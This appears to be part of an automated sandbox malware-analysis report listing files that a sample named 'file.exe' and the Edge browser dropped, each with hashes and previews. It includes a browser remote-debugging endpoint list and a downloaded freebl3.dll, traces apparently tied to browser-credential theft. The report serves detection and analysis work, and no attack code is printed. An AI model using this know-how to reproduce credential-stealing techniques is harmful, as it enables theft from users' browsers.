Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0075165782059665
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUw+x+y:YWLSGTt1o9LuLgfGBPAzkVj/T8lUw+xV
MD5:	9614A0370CFB4C32BF307B6CB58658FA
SHA1:	1B54746E7580C3369D0E8B8DD631E088FCC175F8
SHA-256:	EA9853CDC7052EC4536F89CA91D220AED1A43DA2B752FE608246387C0337A12F
SHA-512:	F6ED78F15968E68055D7019AE247E79FE61D59E749F7993872F9C4C1E740A5F46A6350A4F5D17077CC5D0FBF35C83B5701558BCFAABDC8DE90B2E85BA671B339
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731618507784201}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a1f2fe1a-e1d0-4555-9ab0-4e5ebf908a78.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44910
Entropy (8bit):	6.094899877560028
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWDui1zNtuIV+NK5i+EwPXmZKKJDSgzMMd6qD47u3+7:+/Ps+wsI7ynDLqKtSmd6qE7lFoC
MD5:	34A87AA7E7E2A3F6F69BC7ED1CF46308
SHA1:	674314A061BA42DA3729C75A91E6FAAD38FFCF52
SHA-256:	AE86DA66EEAC578FF9428B7BED2C6D2A9AE548E25AD6EF27B0E8D9365A2B1078
SHA-512:	73A9B9761FAF0A4F079DC048FB720B9BD63B2E8A68119B7FDB5BD75A8D9DCE3E70752BB5AC25DFB97475CEF451BD2DDC75115C21E1027C08EB9667E805280F97
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a8314f7e-d1f9-4051-a560-383bc8a2ee8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44910
Entropy (8bit):	6.094899877560028
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWDui1zNtuIV+NK5i+EwPXmZKKJDSgzMMd6qD47u3+7:+/Ps+wsI7ynDLqKtSmd6qE7lFoC
MD5:	34A87AA7E7E2A3F6F69BC7ED1CF46308
SHA1:	674314A061BA42DA3729C75A91E6FAAD38FFCF52
SHA-256:	AE86DA66EEAC578FF9428B7BED2C6D2A9AE548E25AD6EF27B0E8D9365A2B1078
SHA-512:	73A9B9761FAF0A4F079DC048FB720B9BD63B2E8A68119B7FDB5BD75A8D9DCE3E70752BB5AC25DFB97475CEF451BD2DDC75115C21E1027C08EB9667E805280F97
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b2b4e6be-0970-42db-9db9-e16a7c317ff5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46515
Entropy (8bit):	6.085490267517532
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQcrQgJ9HjNi1zNtuIVHzb0EbF0GzPmP218xCio0JDSgzMMd6qD47uk:ZMk1rT8Hp9XTP218xFo0tSmd6qE7J
MD5:	6F262748B53DFC33F1937710F4637C31
SHA1:	C0B5435FE3DC422274C6735DD8D8390DE12E81F2
SHA-256:	12683E1F2814CAC3806B7BF90B1BB4DCB87E969388B00E15C4BB0A5676AA4D39
SHA-512:	9CE9953AC24D578C12B475ED8E890674FDDD2F81684C10CAACDC9E7A00695E691DC6728C1BAACF242BEE88C8E5C7A6FA6D384D68B83B25DEC5E0573836E67EF9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375991305063264","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"bb01909a-9587-4919-ba75-42d03b79585e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731517709"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c8fc3021-af77-4d6b-8383-a33713007b37.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44976
Entropy (8bit):	6.094921890898384
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xW1ui1zNtuIV+9zb0EbF0GzPmKJDSgzMMd6qD47u3+7:+/Ps+wsI7yOhLEKtSmd6qE7lFoC
MD5:	F5C7BEABC49FE081A806F9C84B36C37B
SHA1:	AC78938FC9804398EE071471B7B49F04D17C78D4
SHA-256:	57FD51AFE3480268338C8004C1AE768F9E18047C9C98B4978523136B287B7484
SHA-512:	8E29A3294675D51A82B556902B83FD38596D74445CF5E12D5C8C0CBAAEB0A67BB1BB3EA761E2B08533F46B56026C9BA0246DC36B938EA11BB852A62B4E83FD0B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d77baf72-ccb8-4548-9e9c-168042a65cc0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46438
Entropy (8bit):	6.085573642237852
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQcrQgxKHjNi1zNtuIV+9zb0EbF0GzPmP218xCio0JDSgzMMd6qD47J:ZMk1rT8HRKXLEP218xFo0tSmd6qE7J
MD5:	242160E29A853C80545048091B69FF5C
SHA1:	11664629031A0D618A7C97F4BF5DAEF85FC62BBB
SHA-256:	B5210F0C74482012A36C7EE97E537C020FCDF60067A63B31E1289260A3DA3BBB
SHA-512:	B067C51CB5FC516E40D973E6B99FA6B911FB844B16FAAA967E91EFD02AFA2DAD4DB5DB221FBAA6FE09749288324614C13DDFA721F36DAB11245C45CA5AF34A3D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375991305063264","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"bb01909a-9587-4919-ba75-42d03b79585e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731517709"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\eded3c4d-a163-42b8-b05e-c8d967ff5210.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46391
Entropy (8bit):	6.085843256553417
Encrypted:	false
SSDEEP:	768:ZMkbJrT8IeQcrQgxKHHNi1zNtuIV+9zb0EbF0GzPmP218xCio0JDSgzMMd6qD47J:ZMk1rT8HRKjLEP218xFo0tSmd6qE7J
MD5:	FF8A79F142AE5A7C75CEBE97B00CF01A
SHA1:	31A51D6F63B0121D13674DF02A18CE51216E382E
SHA-256:	7F2F119E42991F59CABEF1B17F02E104A468C1E5211D7E24D82E9BDB7C9FA505
SHA-512:	38254403FC769DF3A27E862F48E6BFAFFEA93746A5B7025F9EE1C3688862CE9A986E95F80FA140E6F2F8DD6A91363BE7BB441DDEEC45BACA268A2130347461F3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375991305063264","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"bb01909a-9587-4919-ba75-42d03b79585e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731517709"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8449519208170835
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx4xl9Il8uVM0i/h4pcvjuHUm+CFNd1rc:m1Yw0UhEMju0pX
MD5:	370A43FEE337766186EDB00E1B9B50E4
SHA1:	81A0AB413D5B96792D64F2AB6A41608AD5749177
SHA-256:	7F3564ACD6337162EAFFD1FC7CBEE0C65A506D49DC76540E04FBB6214AD4158B
SHA-512:	E90A443D4D0E75C151C2418B185DC571BA61F4C1E053767FAAD2F206273E3315C25F337A9134929C40590212FBAFB61B9EF9A460CB7BB5F737D4F2E592FA19CB
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.N.9.9.C.f.c.1.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.V.V.c.d.c.x.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000987253997738
Encrypted:	false
SSDEEP:	96:4Y0AVxbjWpaVHsl4YobY53LY8GxnBPFlV61+:4JALbCaVMlGyjGxnBP161+
MD5:	F19BBEC98ED66256F645F06E55678704
SHA1:	667F6D10E5E6C7FEE709406584FD334DB4A4D82D
SHA-256:	5A4890B17F53934569C6FC63B081C558556E4511F83D5FD8E0F9BF138C26B40B
SHA-512:	AFF200CCBF533C6C51765BCAC8D4CC0805E2FD4510350B440D66CC8A8EE1D01D86CE10902B08673D931B8B767EF52E90758E4F1607481F1F662AC3DAB1690F9B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".X.n.x.g.7.+.4.1.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.V.V.c.d.c.x.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9136602497856274
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xwxl9Il8uzeR9ymHk+V/PRwCakibM13Kkipv4HCMwRd/vc:aSYFgtEaRwUHNc4HF9
MD5:	B6437C02090399AC27404DFD01BF4A81
SHA1:	BF47A4956EB53B34CE17BF3ACF6093802130D6F0
SHA-256:	9D1D0DB3DD6CA94DE5FB78F60AF6CC29722660E1F4AAC557426A3BEB3337A1B7
SHA-512:	FD68E7ACC06A3B8F12C1F9683312C8514EE823F1A00DB9BB31578E39E5D72AE77DB2A2FBC0E6072D165334A061640D1F2BA90BE2C1BC84FC604ECD9E749E3AD0
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".I.x.g.T.I.M.B.U.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.V.V.c.d.c.x.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.3940333057378735
Encrypted:	false
SSDEEP:	96:6NnQ6HQZNnQ8bQANnQc9QSNnQUUBdgEQUfNnQ8Q/NnQD0ZDQgNnQcwQLNnQb3Qs:6NaNFNLNs5NUNM0ZLNznNo
MD5:	AA65748C8B7D6599A627E0BB1BE5EF43
SHA1:	654D81210B1AFCFD641126E4D8CF79E5C1B39E00
SHA-256:	002563D5821B7D80AFE2A6A82214F14DC90ACA430F857DB19F33F5D2C5BD960C
SHA-512:	2C2F903C4DAC8DD9BE49D5E8822D69F2D04AE467CAE5D324E9839014D501D724CE08797715D4635A8E5A59D7EDBE0B53693334B0A4835262B6054ECA3DA4A528
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A825028A01A0ABEC9BD98B1419632990",.. "id": "A825028A01A0ABEC9BD98B1419632990",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A825028A01A0ABEC9BD98B1419632990"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/0B9373E251DBE4EA0BB783807A057159",.. "id": "0B9373E251DBE4EA0BB783807A057159",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/0B9373E251DBE4EA0BB783807A057159"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
